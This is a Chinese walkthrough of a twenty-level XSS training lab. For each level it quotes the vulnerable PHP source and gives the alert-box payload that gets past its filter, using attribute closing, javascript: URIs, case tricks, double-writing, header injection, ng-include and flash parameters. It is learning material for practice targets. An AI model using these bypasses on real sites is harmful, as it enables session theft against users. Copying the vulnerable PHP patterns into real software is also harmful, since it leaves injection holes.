关卡
- level1、无过滤
- level2、构造闭合
- level3、单引号闭合+htmlspecialchars
- level4、双引号闭合+htmlspecialchars
- level5、javascript伪协议
- level6、javascript伪协议大小写绕过
- level7、双写绕过
- level8、编码绕过
- level9、检测
- level10、hidden
- level11、referer
- level12、user-agent
- level13、cookie
- level14、exif
- level15、ng-include
- level16、``` ```
- level17、传参
- level18、同上
- level19、flash xss反编译
- level20、flash xss反编译
XSS: 漏洞原理详解
按照漏洞成因,可将XSS漏洞分为
- 反射型 存储型 DOM型
- 输出点分类。输出在HTML属性中:输出在CSS代码中:输出在JavaScript中
level1、无过滤
看源码
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
无过滤get传参
构造弹窗
name=<script>alert('就这?')</script>
name=<a href="javascript:alert('test')">link</a>
level2、构造闭合
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
将第一关的载荷输入后,显示如下
发现输入后在input的属性value值中,
构造闭合,将弹窗
keyword="> <script>alert('')</script>
keyword="> <a href=javascript:alert('')>link</a>
level3、单引号闭合+htmlspecialchars
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
看到源代码里使用了htmlspecialchars()函数将一些预定义的字符转换为HTML实体,预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
意味着再使用带有<>尖括号的标签会被转换为HTML实体,如下所示:
<h2 align=center>没有找到和'> <script>alert('')</script>相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value=''> <script>alert('')</script>'>
所以可以使用事件标签
XSS 32个触发事件
' onmouseover=alert('就这?') '
level4、双引号闭合+htmlspecialchars
看源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
和3一致,payload在于将单引号置换为双引号。
" onmouseleave=alert('就这?') "
level5、javascript伪协议
上码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
阅读代码,发现对$str
进行了两步过滤,最后拼接的是过滤后的$str3
使用伪协议
" > <a href=javascript:alert('就这?')>这是个链接</a> "
level6、javascript伪协议大小写绕过
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
过滤规则增多,但是仅限于对小写的字符串进行替换,所以根据规则将适当的部分改为大写即可
" > <a hrEf=javascript:alert('就这?')>这是个链接</a> "
level7、双写绕过
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
首先代码对输入的字符串进行了strtolower
操作转换为小写,再进行相关字段的替换,替换为空
所以双写抵抗过滤
" > <a hrhrEfef=javascriscriptpt:alert('就这?')>这是个链接</a> "
level8、编码绕过
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
因为拼接的地方已经在<a>
标签内所以直接构造编码后的载荷
javascript:alert('就这?')
要放到框子里输入
level9、检测
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。
要在载荷中加入特定的检测字段,如本例中http://
javascript:alert('xsshttp://')
level10、hidden
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
隐藏标签
输入的字符串会真正有用的是t_sort(不看源码不知道)
只对<>进行了过滤,可以构造事件触发
t_sort=" type='text' onmouseover=alert('就这?') "
level11、referer
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
拼接的是str33
,来自于str11
是HTTP_REFERER中的信息,所以注入点在请求头部信息中的referer字段中
可以从hackbar中load URL后点击Referer获取字段消息
替换为如下
" type='text' onclick=alert('') "
再次 execute
level12、user-agent
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
寻找注入点在str11=$_SERVER['HTTP_USER_AGENT']
同上题在hackbar中选择user agent更换字段
" type='text' onclick=alert('') "
level13、cookie
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
本题注入点在cookie
" type='text' onclick=alert('') "
发现不对,bp抓包看一下在cookie中有user=…
或者看提示
Cookie user 缺少。。。。。
所以更改payload
user=" type='text' onclick=alert('') "
level14、exif
。。。学习下exif
level15、ng-include
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
1、ng-include 指令用于包含外部的 HTML文件。
2、包含的内容将作为指定元素的子节点。
3、ng-include 属性的值可以是一个表达式,返回一个文件名。
4、默认情况下,包含的文件需要包含在同一个域名下。
值得注意的是:
ng-include,如果单纯指定地址,必须要加引号
ng-include,加载外部html,script标签中的内容不执行
ng-include,加载外部html中含有style标签样式可以识别
所以payload可变为
'level1.php?name=<a href="javascript:alert(/xss/)">'
或者任意之前关卡漏洞地址
level16、
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
表示一个空格, 相继过滤掉script, ,/, ,后拼接
用回车替代空格
<a%0aonclick=alert('就这?')>
level17、传参
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
这不就是传参拼接么
arg01=%20onmouseover&arg02=alert(/xss/)
level18、同上
level19、flash xss反编译
version&arg02=<a href='javascript:alert(/xss/)'>xss</a>
level20、flash xss反编译
arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height